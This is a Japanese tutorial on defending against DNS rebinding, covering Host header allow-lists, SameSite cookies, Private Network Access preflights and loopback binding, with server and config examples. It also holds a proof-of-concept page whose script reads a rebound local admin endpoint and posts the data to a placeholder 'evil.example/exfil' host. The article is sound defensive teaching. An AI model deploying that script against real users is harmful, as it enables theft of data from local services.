DNSリバインディング攻撃の防御|Host検証・SameSite・Private Network Access・localhostバインド
- DNSリバインディングは、ブラウザの同一オリジン判定がDNS解決結果に依存することと、ローカルサービスがLAN全体で待ち受けていることの組み合わせで成立する。
- Hostヘッダー検証で想定外の名前付きアクセスを拒否し、SameSite Cookieでクロスサイト起点のCookie送信を止め、Private Network AccessでパブリックサイトからプライベートIPへのfetchをプリフライトで制御し、開発サーバーは127.0.0.1に限定バインドする——この4層を重ねるのが実務の定石だ。
- Cookie属性の詳細はセキュアなCookie設定ガイド、PNAのプリフライト挙動はCORSプリフライトリクエストを参照。
DNSリバインディング攻撃とは
DNSリバインディング(DNS Rebinding)は、攻撃者が制御するドメイン名のDNSレコードを時間差で切り替え、被害者のブラウザに「悪意あるJavaScript」と「127.0.0.1上のローカルサービス」を同一オリジンとして扱わせる攻撃クラスだ。
通常、Webページ https://evil.example 上のJavaScriptは、Same-Origin Policyにより http://127.0.0.1:8080 へ直接 fetch できない——オリジン(スキーム・ホスト・ポート)が異なるためだ。しかし攻撃者は次の手順でこの制約を迂回する。
- 被害者を
https://evil.exampleに誘導する - 最初のDNS解決では
evil.example→ 攻撃者のパブリックIP(正常なページを表示) - DNS TTL(生存時間)が切れた後、同じホスト名が
127.0.0.1や192.168.1.1を指すようDNSを更新する - ブラウザは
evil.exampleオリジンとして同一ページ上のJavaScriptを継続実行する - そのJavaScriptが
fetch('http://evil.example:8080/admin')を送ると、DNSは127.0.0.1を返すため、同一オリジン扱いでローカル管理APIに到達する
Same-Origin Policyは「ホスト名の文字列」ではなく解決後のIPアドレスとポートの組で判定されるため、DNS解決結果が切り替わると、攻撃者スクリプトから見た「同一オリジン先」がローカルループバックやLAN内ルーターに変わってしまう。
多くの開発者は「127.0.0.1は自分のPCの中だけ」と考えるが、被害者自身のブラウザ上で動くJavaScriptから見れば127.0.0.1は到達可能だ。攻撃者はネットワーク越しに127.0.0.1へ接続するのではなく、被害者のブラウザを代理( confused deputy )として使う。だからファイアウォールで外部からの127.0.0.1アクセスを遮断しても、この攻撃は防げない。
攻撃が成立する典型環境
DNSリバインディングの被害を受けやすいのは、次のようなサービスだ。
| 対象 | なぜ危険か | 被害例 |
|---|---|---|
| 開発用webpack-dev-server | 認証なし・0.0.0.0バインド・HMR WebSocket | ソースコードや環境変数の漏洩 |
| Docker Desktop API / Portainer | ローカル管理UIがCookie認証のみ | コンテナ操作・シークレット窃取 |
| IoTルーター管理画面 | デフォルトパスワード・HTTPのみ | DNS設定変更・LAN内MITM |
| Redis / MongoDB 管理UI | バインドアドレス未設定 | データベース全削除 |
| 社内ツール(HTTP) | VPN外からもLAN到達可能 | 内部APIの不正呼び出し |
攻撃者が得られるものは、ローカルサービスのレスポンスbodyの読み取り(同一オリジンなのでCORS制限なし)、Cookie付きリクエスト(SameSite未設定の場合)、状態変更操作(CSRF相当だがオリジンが一致するためCORSもSameSiteも効かない場合がある)だ。
攻撃者が evil.example のDNS TTL を 0〜60秒に設定し、最初は攻撃者サーバーIPを返す
被害者が evil.example を開き、JavaScriptが読み込まれる(一見正常なページ)
TTL経過後、evil.example のAレコードが 127.0.0.1 に更新される
同一タブ上のJavaScriptが fetch('http://evil.example:6379/...') を実行する
ブラウザは evil.example を 127.0.0.1 に解決し、同一オリジンとしてRedis管理UI等にアクセス
SameSite未設定のCookieや認証なしAPIがあれば、設定変更・データ窃取が成立する
防御の全体像——4層の多層防御
単一の対策では穴が残る。実務では次の4層を組み合わせる。
| 防御層 | 役割と限界 |
|---|---|
| Hostヘッダー検証 | リクエストのHostが許可リスト外なら拒否。リバインディング後にHost=evil.exampleで127.0.0.1に来るリクエストを遮断できる。127.0.0.1直アクセスやHost偽装には追加対策が必要 |
| SameSite Cookie | クロスサイト起点のリクエストにCookieを付けない。evil.example→127.0.0.1へのfetchでは127.0.0.1のCookieは送信されない(Lax/Strict時)。SameSite=NoneやCookie非依存APIは対象外 |
| Private Network Access | パブリックサイトからプライベートIPへのfetch前にプリフライト。ターゲットが明示許可しなければブロック。Chrome中心でFirefox/Safariも追随中 |
| localhostバインド(127.0.0.1) | 0.0.0.0待ち受けをやめLAN越しの到達を減らす。DNSリバインディング自体は止めないが、攻撃面積を縮小する第一歩 |
同一オリジンに見えた瞬間、ブラウザはCORSプリフライトを送らない。evil.example上のJSから127.0.0.1をevil.exampleとして解決できれば、レスポンスbodyをJavaScriptから自由に読める。だからCORSプリフライトの議論は「クロスオリジン」に限定され、リバインディング後は適用外になる——Host検証とPNAがクロスオリジンになる前の段階で止める必要がある。
第1層:Hostヘッダー検証
HTTP/1.1以降、クライアントはリクエストごとに Host ヘッダーを送る。リバインディング攻撃では、127.0.0.1上のサービスに対し Host: evil.example のような想定外の値が付く。サーバー側で許可するHost名のホワイトリストを持ち、一致しなければ 400 Bad Request または 421 Misdirected Request を返す。
検証すべきポイント
- 完全一致:
api.example.comのみ許可(ワイルドカードは慎重に) - ポート込みの考慮:
Host: evil.example:8080形式 - リバースプロキシ背後:
X-Forwarded-Hostを信用する場合はプロキシを限定し、直接アクセスでは使わない - デフォルト拒否:許可リストに無いHostはすべて拒否
Express(Node.js)ミドルウェア例
// middleware/validateHost.js
const ALLOWED_HOSTS = new Set([
'api.example.com',
'api.example.com:443',
'localhost:3000', // 開発時のみ
'127.0.0.1:3000', // 開発時のみ
]);
function normalizeHost(hostHeader) {
if (!hostHeader) return null;
return hostHeader.toLowerCase().split(',')[0].trim();
}
export function validateHost(req, res, next) {
const host = normalizeHost(req.headers.host);
if (!host || !ALLOWED_HOSTS.has(host)) {
console.warn('[validateHost] rejected', { host, ip: req.ip, path: req.path });
return res.status(421).json({
error: 'misdirected_request',
message: 'Unrecognized Host header',
});
}
next();
}
// app.js
import express from 'express';
import { validateHost } from './middleware/validateHost.js';
const app = express();
app.use(validateHost);
app.get('/health', (req, res) => {
res.json({ status: 'ok' });
});
app.listen(3000, '127.0.0.1', () => {
console.log('Listening on http://127.0.0.1:3000');
});
リバインディング後、攻撃者のfetchは Host: evil.example を付けて127.0.0.1:3000に届く。上記ミドルウェアが421を返せば、bodyの読み取りも状態変更も止まる。
nginx での Host 検証
# /etc/nginx/conf.d/api.example.com.conf
# 許可Host以外はdefault_serverで421を返す
server {
listen 8080 default_server;
listen [::]:8080 default_server;
server_name _;
return 421;
}
server {
listen 8080;
listen [::]:8080;
server_name api.example.com localhost;
# 127.0.0.1 のみバインド(別ファイルの listen 指令と併用)
# listen 127.0.0.1:8080;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
# 二重チェック(map でも可)
if ($host !~* ^(api\.example\.com|localhost)$) {
return 421;
}
}
}
本番では if より map モジュールの方がnginxコミュニティでは推奨されるが、概念として「server_name と一致しないHostを拒否する」ことが重要だ。
Go(chi)での Host 検証
package main
import (
"net/http"
"strings"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
var allowedHosts = map[string]struct{}{
"api.example.com": {},
"api.example.com:443": {},
"127.0.0.1:8080": {}, // 開発用
}
func validateHost(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
host := strings.ToLower(strings.TrimSpace(r.Host))
if _, ok := allowedHosts[host]; !ok {
http.Error(w, "Unrecognized Host", http.StatusMisdirectedRequest)
return
}
next.ServeHTTP(w, r)
})
}
func main() {
r := chi.NewRouter()
r.Use(middleware.Logger)
r.Use(validateHost)
r.Get("/health", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte(`{"status":"ok"}`))
})
// 127.0.0.1 に限定して待ち受け
http.ListenAndServe("127.0.0.1:8080", r)
}
X-Forwarded-Host を無条件に信用すると、プロキシを経由しない直接アクセスで偽装される。リバースプロキシ1ホップだけが設定できる環境に限定し、オリジンサーバーは req.headers.host のみを検証する設計が安全。許可リストに広すぎるワイルドカード(*.example.com を自前実装で雑にパース)も避ける。
第2層:SameSite Cookie による Cookie 送信制御
DNSリバインディングで同一オリジンに見えても、Cookieの送信条件は別レイヤーで判定される。SameSite=Lax または Strict を付けたCookieは、クロスサイトとみなされるリクエストでは送られない。
リバインディング攻撃の文脈では次のように整理できる。
- 攻撃ページのオリジン:
https://evil.example - リバインディング後のfetch先:
http://evil.example:8080→ DNS解決で127.0.0.1 - 127.0.0.1上のサービスが以前
Set-Cookie: session=...; SameSite=Laxを発行していた場合、そのCookieの 登録ドメインは127.0.0.1(またはlocalhost)
evil.example から127.0.0.1へ「同一オリジン」fetchしても、127.0.0.1用のCookieは evil.example とは別サイトとして扱われる場面がある——ブラウザ実装とCookieのスコープに依存する。確実なのは、127.0.0.1/local向けCookieにSameSite=Lax/Strictを付け、攻撃者ドメインからのクロスサイトリクエストで送らせないことだ。
セキュアなCookie設定ガイドで詳述している通り、セッションCookieのデフォルトは次のとおり。
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600
SameSite が効く場面・効かない場面
| シナリオ | SameSite=Lax の効果 |
|---|---|
| evil.example から 127.0.0.1 管理UIへ fetch(クロスサイト判定) | 127.0.0.1のセッションCookieは付与されない——攻撃者は未認証APIしか叩けない |
| SameSite=None; Secure の分析用Cookie | 付与される——埋め込み連携用Cookieはリバインディング経路でも送信されうる。ローカルサービスではNoneを避ける |
| Cookie認証を使わないRedis/Mongo(認証なし) | SameSiteは無関係——Host検証・ファイアウォール・bindアドレスで守る |
| 127.0.0.1上のSPAが自分自身へfetch | 同一サイト——正常動作。SameSiteは攻撃を妨げないが正常系も阻害しない |
Express での SameSite 設定(csurf / express-session 併用)
import session from 'express-session';
app.use(
session({
name: '__Host-session',
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 3600 * 1000,
path: '/',
},
}),
);
__Host- プレフィックスは Domain属性なし・Path=/・Secure を強制し、サブドメインへのCookie漏洩も抑える。ローカル開発サーバーでは Secure が効かない場合があるため、本番と開発で設定を分ける。
DNSリバインディング後は「同一オリジン」に見えるため、CSRFトークンのオリジン検証だけでは不十分な場合がある。SameSiteは「サイト境界」をブラウザが強制する層として、CSRFトークンと併用する。CSRF対策の実装とあわせて多層化すること。
第3層:Private Network Access(CORS-RFC1918)
Private Network Access(PNA、旧称 CORS-RFC1918)は、パブリックWebサイトからプライベートネットワーク宛てのリクエストをブラウザが追加チェックする仕組みだ。Chrome 94以降で段階的に enforce され、2024年以降はデフォルトでブロック方向に強化されている。
動作の概要
https://evil.example上のJavaScriptがfetch('http://192.168.1.1/admin')またはfetch('http://127.0.0.1:8080/')を実行する- ブラウザは本番リクエストの前に OPTIONS プリフライト を送る(通常のCORSプリフライトに加え)
- プリフライトに
Access-Control-Request-Private-Network: trueが付く - ターゲット(192.168.1.1や127.0.0.1上のサーバー)が
Access-Control-Allow-Private-Network: trueを返さなければ、ブラウザが本番リクエストをブロック
つまり、意図せず0.0.0.0で待ち受けている開発サーバーも、デフォルトでは外部オリジンからのfetchを拒否できる——正しいCORS+PNA応答を返さない限り。
プリフライトのHTTPダンプ
OPTIONS /api/status HTTP/1.1
Host: 127.0.0.1:8080
Origin: https://evil.example
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true
Connection: keep-alive
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Dest: empty
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Methods: GET, OPTIONS
Access-Control-Allow-Private-Network: true
Access-Control-Max-Age: 86400
ローカル管理UIでは Access-Control-Allow-Private-Network: true を返してはならない。 返した瞬間、パブリックサイトからのfetchが通る。開発サーバーのデフォルトは「PNAヘッダーなし=ブロック」でよい。
Express で PNA プリフライトを明示拒否
app.options('*', (req, res) => {
const isPrivateNetworkPreflight =
req.headers['access-control-request-private-network'] === 'true';
if (isPrivateNetworkPreflight) {
// ログだけ残し、Allow-Private-Network は返さない
console.warn('[PNA] blocked preflight from', req.headers.origin);
return res.status(403).end();
}
// 通常のCORS OPTIONS(必要なら)
res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.status(204).end();
});
Chrome のローカル開発向けフラグ(参考)
開発中のみ一時的にPNAチェックを緩和するChromeフラグがあるが、本番防御として使ってはならない。
chrome://flags/#block-insecure-private-network-requests
chrome://flags/#private-network-access-respect-preflight-results
チーム開発では「PNAを無効化したChromeでだけ動く」状態を作らず、127.0.0.1バインド+Host検証を標準にする。
第4層:localhost の 127.0.0.1 バインド
開発サーバーやローカル管理UIを 0.0.0.0(全インターフェース) で待ち受けると、同一LAN上の他端末から http://<your-lan-ip>:3000 で到達できる。DNSリバインディングと組み合わさると、攻撃面が「自分のPCのループバック」から「LAN上の開発マシン」まで広がる。
危険なバインド例
# 危険:LAN内の全端末から到達可能
npm run dev -- --host 0.0.0.0 --port 3000
# Vite のデフォルト設定例(vite.config.js)
# server: { host: true } も 0.0.0.0 相当——社内LANでは注意
// 危険:Express が全IFで待ち受け
app.listen(3000, () => {
console.log('Listening on port 3000');
});
推奨:127.0.0.1 に限定
# 安全:ループバックのみ
npm run dev -- --host 127.0.0.1 --port 3000
// vite.config.js
export default {
server: {
host: '127.0.0.1',
port: 5173,
strictPort: true,
},
};
// Express:明示的に127.0.0.1
app.listen(3000, '127.0.0.1', () => {
console.log('http://127.0.0.1:3000');
});
# docker-compose.yml — 管理UIをホストに公開しない
services:
redis-commander:
image: rediscommander/redis-commander:latest
ports:
- "127.0.0.1:8081:8081"
environment:
- REDIS_HOSTS=local:redis:6379
ports: "8081:8081" は0.0.0.0バインドになる。 127.0.0.1:8081:8081 と書くとホスト側ループバックのみに限定できる。
systemd / 本番プロセスマネージャ
# /etc/systemd/system/myapp.service
[Service]
ExecStart=/usr/bin/node /opt/myapp/server.js
Environment=HOST=127.0.0.1
Environment=PORT=3000
nginx や Caddy などのリバースプロキシだけが0.0.0.0:443で外部公開し、アプリケーション本体は127.0.0.1のソケットで待ち受ける——多層防御の定石だ。
攻撃側 PoC の理解(防御設計のため)
防御を評価するには、攻撃者が何をするかをコードレベルで把握しておく。以下は教育・検証目的の概念実証(自環境でのみ実行すること)。
<!-- evil.example が配信するページ(概念) -->
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<title>Loading...</title>
</head>
<body>
<p>しばらくお待ちください...</p>
<script>
const REBIND_DELAY_MS = 7000;
const TARGET_PORT = 8080;
async function probeLocalService() {
try {
const res = await fetch(`http://evil.example:${TARGET_PORT}/admin/config`, {
credentials: 'include',
});
const body = await res.text();
await fetch('https://evil.example/exfil', {
method: 'POST',
body: JSON.stringify({ status: res.status, body: body.slice(0, 2000) }),
});
} catch (err) {
console.log('Probe failed (expected if defended):', err.message);
}
}
setTimeout(probeLocalService, REBIND_DELAY_MS);
</script>
</body>
</html>
DNS側では evil.example のAレコードをTTL 1秒程度で切り替える。防御が有効なら、Host検証で421、PNAでプリフライト失敗、SameSiteでCookie非送信のいずれかで body は空または403になる。
他人のサービスや許可のないネットワークでリバインディングPoCを実行することは法令・利用規約に触れる可能性がある。自分が管理するドメイン・自分のPC上のダミーサーバーに限定し、ステージングで防御効果を確認すること。
フレームワーク別チェックリスト
Vite / webpack-dev-server / Next.js dev
| 項目 | 推奨設定 |
|---|---|
| バインドアドレス | 127.0.0.1 |
allowedHosts | 明示的に localhost のみ(Vite 5+) |
| HTTPS | 本番相当テストは mkcert 等でHTTPS dev |
| 認証 | 管理系エンドポイントはdevでもBasic認証を検討 |
// vite.config.js — Vite 5+
export default {
server: {
host: '127.0.0.1',
port: 5173,
allowedHosts: ['localhost'],
},
};
Docker / Kubernetes
- Publish port は
127.0.0.1:PORT:PORT形式 - Kubernetes Service の
type: LoadBalancerをローカルクラスターで不用意に公開しない - NetworkPolicy でPod間・外部からの到達を制限
ルーター・IoT
- 管理画面をWAN側に公開しない
- デフォルトパスワード変更・HTTPS有効化
- DNSリバインディングは「LAN内のブラウザ」経由——LANゲストWi-Fiから管理UIに届かない設定
検証手順:ステージングでの防御テスト
127.0.0.1:8080 でダミーAPI(/admin)を起動し、Host検証ミドルウェアを有効化する
TTL 1秒のテスト用ドメインを用意し、AレコードをパブリックIPと127.0.0.1で切り替える
攻撃者ページ相当のHTMLから fetch を実行し、421/403とレスポンスbody不可を確認する
SameSite=Lax Cookieを発行し、リバインディング経路でCookieが送られないことをDevToolsで確認する
Chrome DevTools の Network で Access-Control-Request-Private-Network 付き OPTIONS がブロックされることを確認する
0.0.0.0 と 127.0.0.1 バインドでLAN内別端末からの到達差を比較する
curl で Host 検証の単体テスト
# 許可Host — 200 expected
curl -s -o /dev/null -w "%{http_code}" \
-H "Host: api.example.com" \
http://127.0.0.1:8080/health
# 拒否Host — 421 expected
curl -s -o /dev/null -w "%{http_code}" \
-H "Host: evil.example" \
http://127.0.0.1:8080/health
DevTools で Cookie 送信を確認
- Application → Cookies →
http://127.0.0.1:8080にセッションCookie(SameSite=Lax)を作成 - 別オリジンのテストページから
fetch('http://127.0.0.1:8080/admin', { credentials: 'include' })を実行 - Network タブで Request Headers に
Cookieが無いことを確認
よくある誤解と正しい理解
「127.0.0.1だからCORS不要」
ローカルサービス同士でも、ブラウザ経由であればSame-Origin PolicyとPNAは適用される。「サーバー間通信だから安全」という混同に注意。
「HTTPSにしていればリバインディングは無害」
HTTPSは通信経路の暗号化であり、同一オリジン判定は変わらない。https://evil.example からリバインディングで https://127.0.0.1(自己署名証明書等)へ到達する変種も理論上存在する。Host検証とPNAはHTTPSと独立した層だ。
「社内VPN内だから外部攻撃者は関係ない」
被害者のブラウザがVPN内にあっても、同じブラウザでインターネット上の evil.example を開くことは普通にある。VPNは「ネットワーク境界」であり「ブラウザの同一オリジン境界」ではない。
「Cloudflareが付いていれば安心」
Cloudflareはパブリック向けオリジンを保護する。127.0.0.1上の開発サーバーはCloudflareの背後にない。ローカル防御は開発者自身が実装する。
関連する攻撃・防御との関係
| 関連トピック | DNSリバインディングとの関係 |
|---|---|
| CORSプリフライト | PNAはCORS OPTIONSの拡張。クロスオリジン段階でブロック |
| セキュアCookie | SameSite=Lax/StrictでCookie送信経路を制限 |
| CSRF | リバインディング後は同一オリジンに見える——SameSite+Host検証が有効 |
| XSS | XSSと組み合わさるとローカルfetchの自動実行が容易——CSPも重要 |
| SSRF(サーバー側) | DNSリバインディングはブラウザ側の confused deputy——対策層が異なる |
本番・開発環境向け設定テンプレート
nginx 統合例(Host + 127.0.0.1 バインド + PNA拒否)
map $http_host $host_allowed {
default 0;
"api.example.com" 1;
"api.example.com:443" 1;
}
server {
listen 127.0.0.1:8080;
server_name api.example.com;
if ($host_allowed = 0) {
return 421;
}
location / {
if ($http_access_control_request_private_network = "true") {
return 403;
}
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
}
}
環境変数による許可Host管理(12-factor)
# .env.production
ALLOWED_HOSTS=api.example.com,api.example.com:443
BIND_ADDRESS=127.0.0.1
PORT=3000
const allowedHosts = new Set(
process.env.ALLOWED_HOSTS.split(',').map((h) => h.trim().toLowerCase()),
);
const bindAddress = process.env.BIND_ADDRESS || '127.0.0.1';
const port = Number(process.env.PORT || 3000);
app.listen(port, bindAddress);
まとめ——優先順位付きアクション
- 今日:開発サーバーの
0.0.0.0バインドを127.0.0.1に変更 - 今週:ローカル・ステージングAPIに Host許可リスト検証 を追加
- 今週:セッションCookieを HttpOnly + Secure + SameSite=Lax に統一(詳細)
- 今月:Chrome DevToolsで PNAプリフライト が意図通りブロックされることを確認
- 継続:新規ローカルツール追加時に Docker ports・bindアドレス をコードレビュー項目に含める
DNSリバインディングは「マイナーな攻撃」と誤解されがちだが、開発者のPC上の未保護サービスという現場に最も刺さる脅威の一つだ。Host検証・SameSite・Private Network Access・127.0.0.1バインド——4つはどれも単体では完璧でないが、重ねれば evil.example からローカル管理APIのbodyを読む 典型シナリオを実用的に潰せる。
まず自ワークステーションで netstat -ano または ss -tlnp を実行し、0.0.0.0でLISTENしているプロセスを洗い出す。webpack-dev-server、Redis、Docker、DBクライアント——見慣れた名前ほど127.0.0.1へのバインド変更とHost検証の優先度が高い。ステージングでリバインディングPoCを1回流し、421・403・Cookie非送信の3点が揃うことを確認してから本番ロールアウトしよう。
関連記事
この記事は セキュリティ テーマの一環です。あわせて読むと理解が深まる関連記事をまとめました。
| トピック | 記事 |
|---|---|
| XSS攻撃と防御の完全ガイド | XSS攻撃と防御の完全ガイド|反射型・蓄積型・DOM型の対策 |
| Double Submit Cookie完全実装 | Double Submit Cookie完全実装|Synchronizer Token比較・SPA+JWT・サブドメイン攻撃 |
| Content Security Policy (CSP) 設定ガイド | Content Security Policy (CSP) 設定ガイド|XSS・クリックジャッキング対策 |
| CSP Report-Only 段階導入ガイド | CSP Report-Only 段階導入ガイド|本番を壊さずポリシーを検証する |
| セキュリティヘッダー一覧と設定ガイド | セキュリティヘッダー一覧と設定ガイド|CSP・HSTS・Referrer-Policy・Permissions-Policy |
| CORSエラーの対処法 | CORSエラーの対処法|「Access-Control-Allow-Origin」で解決する |
| ローカル開発でCORSエラーが出る原因と3つの回避策 | ローカル開発でCORSエラーが出る原因と3つの回避策 |
| OAuth2 PKCE SPA実装ガイド | OAuth2 PKCE SPA実装ガイド|Authorization Code + S256 + BFFパターン |
| Passkeys・WebAuthn実装の基礎 | Passkeys・WebAuthn実装の基礎|FIDO2・Resident Key・@simplewebauthn/server |
| JWTのデバッグ方法 | JWTのデバッグ方法|トークンの中身を安全に確認する |
| JWTの中身を確認する方法 | JWTの中身を確認する方法|改ざんが検知される仕組み |
| JWKSとJWT鍵ローテーション運用ガイド | JWKSとJWT鍵ローテーション運用ガイド|kid検証・ゼロダウンタイム・Node.js実装 |